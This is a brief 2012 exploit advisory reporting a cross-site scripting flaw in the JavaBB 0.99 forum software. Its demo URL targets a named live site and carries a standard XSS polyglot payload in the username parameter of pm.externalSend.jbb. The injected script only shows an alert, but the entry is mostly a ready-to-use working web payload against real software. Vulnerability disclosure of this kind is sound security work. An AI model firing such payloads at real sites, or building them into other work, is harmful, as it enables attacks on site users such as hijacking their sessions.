JavaBB 0.99 Cross Site Scripting

# Exploit Title: JavaBB 0.99 Cross Site Scripting
# Date: 18.03.2012
# Author: Sony
# Software Link: http://www.javabb.org/
# Web Browser : Mozilla Firefox
# Site : http://insecurity.ro
# PoC:
http://st2tea.blogspot.com/2012/03/javabb-099-cross-site-scripting.html
..................................................................

Well, we have a cross site scripting in JavaBB 0.99

Demo:


http://javafree.uol.com.br/pm.externalSend.jbb?userId=42888&username=teapro%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E